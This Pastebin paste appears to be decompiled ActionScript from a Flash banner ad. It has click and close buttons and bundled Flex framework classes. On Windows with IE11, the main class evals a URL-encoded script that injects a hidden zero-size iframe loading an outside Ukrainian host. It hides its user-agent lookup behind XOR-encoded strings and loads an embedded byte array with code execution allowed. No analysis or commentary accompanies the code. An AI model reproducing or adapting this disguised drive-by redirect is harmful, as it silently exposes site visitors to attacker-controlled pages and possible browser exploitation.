Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package {
- import flash.external.*;
- import flash.events.*;
- import flash.net.*;
- import flash.display.*;
- import flash.utils.*;
- public class Main extends Sprite {
- private var Vis:MovieClip;
- private var Btn:MovieClip;
- private var Close:SimpleButton;
- private var HUY:Class;
- public function Main():void{
- this.HUY = Main_HUY;
- super();
- this.Vis = new this.HUY();
- addChild(this.Vis);
- var W:int = 16;
- var H:int = 16;
- var ua:String = this.GetUserAgentStr().toLowerCase();
- var is_ie11:Boolean = ((!((ua.indexOf("msie") == -1))) || (!((ua.indexOf("rv:11") == -1))));
- if (ua.indexOf("windows") == -1){
- return;
- };
- if (is_ie11){
- ExternalInterface.call("function() { var xxx = \"%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%69%66%72%61%6D%65%27%29%29%2E%6F%75%74%65%72%48%54%4D%4C%20%3D%20%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%61%73%74%65%72%73%68%65%66%2E%63%6F%6D%2E%75%61%2F%69%6D%61%67%65%73%2F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%77%69%64%74%68%3D%22%30%22%20%3E%3C%2F%69%66%72%61%6D%65%3E%27%3B\"; eval( decodeURIComponent(xxx) );}");
- };
- }
- public function AddCloseBtn(W:int, H:int):void{
- this.Close = new BTN_CLOSE();
- this.Close.addEventListener(MouseEvent.CLICK, this.FuncOnCloseClick);
- this.Close.x = W;
- this.Close.y = 0;
- this.Close.alpha = 0.6;
- addChild(this.Close);
- }
- private function FuncOnCloseClick(e:Event):void{
- navigateToURL(new URLRequest("javascript:hide()"), "_self");
- }
- private function FuncOnClickBanner(e:Event):void{
- navigateToURL(new URLRequest(stage.loaderInfo.parameters.yourlink), "_blank");
- }
- public function AddClickBtn(W:int, H:int):void{
- this.Btn = new QUAD_BUTTON_WRAP();
- this.Btn.addEventListener(MouseEvent.CLICK, this.FuncOnClickBanner);
- this.Btn.width = W;
- this.Btn.height = H;
- this.Btn.alpha = 0;
- addChild(this.Btn);
- }
- private function UN4(In:String):String{
- var V:int;
- var Res:String = "";
- var xx:int;
- while (xx < In.length) {
- V = parseInt((In.charAt(xx) + In.charAt((xx + 1))), 16);
- Res = (Res + String.fromCharCode((V ^ 160)));
- xx = (xx + 2);
- };
- return (Res);
- }
- private function GetRef():String{
- return (ExternalInterface.call("document.referrer"));
- }
- private function GetLoc():String{
- return (ExternalInterface.call("document.location.href"));
- }
- private function GetUserAgentStr():String{
- return (ExternalInterface.call(((((((this.UN4("D7C9CEC4CFD7") + this.UN4("8ECEC1D6")) + this.UN4("C9C7C1D4CF")) + this.UN4("D28ED5D3C5")) + this.UN4("D2E1C7C5CED4")) + this.UN4("8ED4CFF3D4D2")) + this.UN4("C9CEC7"))));
- }
- }
- }//package
- package mx.core {
- public namespace mx_internal = "http://www.adobe.com/2006/flex/mx/internal";
- }//package mx.core
- package mx.core {
- public class MovieClipAsset extends FlexMovieClip implements IFlexAsset, IFlexDisplayObject, IBorder {
- mx_internal static const VERSION:String = "4.6.0.23201";
- private var _measuredHeight:Number;
- private var _measuredWidth:Number;
- public function MovieClipAsset(){
- super();
- this._measuredWidth = width;
- this._measuredHeight = height;
- }
- public function get measuredHeight():Number{
- return (this._measuredHeight);
- }
- public function get measuredWidth():Number{
- return (this._measuredWidth);
- }
- public function get borderMetrics():EdgeMetrics{
- if (scale9Grid == null){
- return (EdgeMetrics.EMPTY);
- };
- return (new EdgeMetrics(scale9Grid.left, scale9Grid.top, Math.ceil((this.measuredWidth - scale9Grid.right)), Math.ceil((this.measuredHeight - scale9Grid.bottom))));
- }
- public function move(x:Number, y:Number):void{
- this.x = x;
- this.y = y;
- }
- public function setActualSize(newWidth:Number, newHeight:Number):void{
- width = newWidth;
- height = newHeight;
- }
- }
- }//package mx.core
- package mx.core {
- public class EdgeMetrics {
- mx_internal static const VERSION:String = "4.6.0.23201";
- public static const EMPTY:EdgeMetrics = new EdgeMetrics(0, 0, 0, 0);
- ;
- public var bottom:Number;
- public var left:Number;
- public var right:Number;
- public var top:Number;
- public function EdgeMetrics(left:Number=0, top:Number=0, right:Number=0, bottom:Number=0){
- super();
- this.left = left;
- this.top = top;
- this.right = right;
- this.bottom = bottom;
- }
- public function clone():EdgeMetrics{
- return (new EdgeMetrics(this.left, this.top, this.right, this.bottom));
- }
- }
- }//package mx.core
- package mx.core {
- public interface IFlexAsset {
- }
- }//package mx.core
- package mx.core {
- import flash.utils.*;
- public class ByteArrayAsset extends ByteArray implements IFlexAsset {
- mx_internal static const VERSION:String = "4.6.0.23201";
- public function ByteArrayAsset(){
- super();
- }
- }
- }//package mx.core
- package mx.core {
- import flash.system.*;
- import flash.display.*;
- import flash.events.*;
- import flash.utils.*;
- public class MovieClipLoaderAsset extends MovieClipAsset implements IFlexAsset, IFlexDisplayObject {
- mx_internal static const VERSION:String = "4.6.0.23201";
- private var loader:Loader = null;
- private var initialized:Boolean = false;
- private var requestedWidth:Number;
- private var requestedHeight:Number;
- protected var initialWidth:Number = 0;
- protected var initialHeight:Number = 0;
- public function MovieClipLoaderAsset(){
- super();
- var loaderContext:LoaderContext = new LoaderContext();
- loaderContext.applicationDomain = new ApplicationDomain(ApplicationDomain.currentDomain);
- if (("allowLoadBytesCodeExecution" in loaderContext)){
- loaderContext["allowLoadBytesCodeExecution"] = true;
- };
- this.loader = new Loader();
- this.loader.contentLoaderInfo.addEventListener(Event.COMPLETE, this.completeHandler);
- this.loader.loadBytes(this.movieClipData, loaderContext);
- addChild(this.loader);
- }
- override public function get height():Number{
- if (!(this.initialized)){
- return (this.initialHeight);
- };
- return (super.height);
- }
- override public function set height(value:Number):void{
- if (!(this.initialized)){
- this.requestedHeight = value;
- } else {
- this.loader.height = value;
- };
- }
- override public function get measuredHeight():Number{
- return (this.initialHeight);
- }
- override public function get measuredWidth():Number{
- return (this.initialWidth);
- }
- override public function get width():Number{
- if (!(this.initialized)){
- return (this.initialWidth);
- };
- return (super.width);
- }
- override public function set width(value:Number):void{
- if (!(this.initialized)){
- this.requestedWidth = value;
- } else {
- this.loader.width = value;
- };
- }
- public function get movieClipData():ByteArray{
- return (null);
- }
- private function completeHandler(event:Event):void{
- this.initialized = true;
- this.initialWidth = this.loader.contentLoaderInfo.width;
- this.initialHeight = this.loader.contentLoaderInfo.height;
- if (!(isNaN(this.requestedWidth))){
- this.loader.width = this.requestedWidth;
- };
- if (!(isNaN(this.requestedHeight))){
- this.loader.height = this.requestedHeight;
- };
- dispatchEvent(event);
- }
- }
- }//package mx.core
- package mx.core {
- import flash.display.*;
- import flash.geom.*;
- import flash.accessibility.*;
- import flash.events.*;
- public interface IFlexDisplayObject extends IBitmapDrawable, IEventDispatcher {
- function get root():DisplayObject;
- function get stage():Stage;
- function get name():String;
- function set name(_arg1:String):void;
- function get parent():DisplayObjectContainer;
- function get mask():DisplayObject;
- function set mask(_arg1:DisplayObject):void;
- function get visible():Boolean;
- function set visible(_arg1:Boolean):void;
- function get x():Number;
- function set x(_arg1:Number):void;
- function get y():Number;
- function set y(_arg1:Number):void;
- function get scaleX():Number;
- function set scaleX(_arg1:Number):void;
- function get scaleY():Number;
- function set scaleY(_arg1:Number):void;
- function get mouseX():Number;
- function get mouseY():Number;
- function get rotation():Number;
- function set rotation(_arg1:Number):void;
- function get alpha():Number;
- function set alpha(_arg1:Number):void;
- function get width():Number;
- function set width(_arg1:Number):void;
- function get height():Number;
- function set height(_arg1:Number):void;
- function get cacheAsBitmap():Boolean;
- function set cacheAsBitmap(_arg1:Boolean):void;
- function get opaqueBackground():Object;
- function set opaqueBackground(_arg1:Object):void;
- function get scrollRect():Rectangle;
- function set scrollRect(_arg1:Rectangle):void;
- function get filters():Array;
- function set filters(_arg1:Array):void;
- function get blendMode():String;
- function set blendMode(_arg1:String):void;
- function get transform():Transform;
- function set transform(_arg1:Transform):void;
- function get scale9Grid():Rectangle;
- function set scale9Grid(_arg1:Rectangle):void;
- function globalToLocal(_arg1:Point):Point;
- function localToGlobal(_arg1:Point):Point;
- function getBounds(_arg1:DisplayObject):Rectangle;
- function getRect(_arg1:DisplayObject):Rectangle;
- function get loaderInfo():LoaderInfo;
- function hitTestObject(_arg1:DisplayObject):Boolean;
- function hitTestPoint(_arg1:Number, _arg2:Number, _arg3:Boolean=false):Boolean;
- function get accessibilityProperties():AccessibilityProperties;
- function set accessibilityProperties(_arg1:AccessibilityProperties):void;
- function get measuredHeight():Number;
- function get measuredWidth():Number;
- function move(_arg1:Number, _arg2:Number):void;
- function setActualSize(_arg1:Number, _arg2:Number):void;
- }
- }//package mx.core
- package mx.core {
- public interface IBorder {
- function get borderMetrics():EdgeMetrics;
- }
- }//package mx.core
- package mx.core {
- public interface IRepeaterClient {
- function get instanceIndices():Array;
- function set instanceIndices(_arg1:Array):void;
- function get isDocument():Boolean;
- function get repeaterIndices():Array;
- function set repeaterIndices(_arg1:Array):void;
- function get repeaters():Array;
- function set repeaters(_arg1:Array):void;
- function initializeRepeaterArrays(_arg1:IRepeaterClient):void;
- }
- }//package mx.core
- package mx.core {
- import mx.utils.*;
- import flash.display.*;
- public class FlexMovieClip extends MovieClip {
- mx_internal static const VERSION:String = "4.6.0.23201";
- public function FlexMovieClip(){
- super();
- try {
- name = NameUtil.createUniqueName(this);
- } catch(e:Error) {
- };
- }
- override public function toString():String{
- return (NameUtil.displayObjectToString(this));
- }
- }
- }//package mx.core
- package mx.utils {
- import flash.utils.*;
- import flash.display.*;
- import mx.core.*;
- public class NameUtil {
- mx_internal static const VERSION:String = "4.6.0.23201";
- private static var counter:int = 0;
- public static function createUniqueName(object:Object):String{
- if (!(object)){
- return (null);
- };
- var name:String = getQualifiedClassName(object);
- var index:int = name.indexOf("::");
- if (index != -1){
- name = name.substr((index + 2));
- };
- var charCode:int = name.charCodeAt((name.length - 1));
- if ((((charCode >= 48)) && ((charCode <= 57)))){
- name = (name + "_");
- };
- return ((name + counter++));
- }
- public static function displayObjectToString(displayObject:DisplayObject):String{
- var result:String;
- var o:DisplayObject;
- var s:String;
- var indices:Array;
- try {
- o = displayObject;
- while (o != null) {
- if (((((o.parent) && (o.stage))) && ((o.parent == o.stage)))){
- break;
- };
- s = ((((("id" in o)) && (o["id"]))) ? o["id"] : o.name);
- if ((o is IRepeaterClient)){
- indices = IRepeaterClient(o).instanceIndices;
- if (indices){
- s = (s + (("[" + indices.join("][")) + "]"));
- };
- };
- result = (((result == null)) ? s : ((s + ".") + result));
- o = o.parent;
- };
- } catch(e:SecurityError) {
- };
- return (result);
- }
- public static function getUnqualifiedClassName(object:Object):String{
- var name:String;
- if ((object is String)){
- name = (object as String);
- } else {
- name = getQualifiedClassName(object);
- };
- var index:int = name.indexOf("::");
- if (index != -1){
- name = name.substr((index + 2));
- };
- return (name);
- }
- }
- }//package mx.utils
- package {
- import mx.core.*;
- public class Main_HUY_dataClass extends ByteArrayAsset {
- }
- }//package
- package {
- import flash.display.*;
- public dynamic class QUAD_BUTTON_WRAP extends MovieClip {
- }
- }//package
- package {
- import flash.display.*;
- public dynamic class BTN_CLOSE extends SimpleButton {
- }
- }//package
- package {
- import flash.utils.*;
- import mx.core.*;
- public class Main_HUY extends MovieClipLoaderAsset {
- private static var bytes:ByteArray = null;
- public var dataClass:Class;
- public function Main_HUY(){
- this.dataClass = Main_HUY_dataClass;
- super();
- initialWidth = (320 / 20);
- initialHeight = (320 / 20);
- }
- override public function get movieClipData():ByteArray{
- if (bytes == null){
- bytes = ByteArray(new this.dataClass());
- };
- return (bytes);
- }
- }
- }//package
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement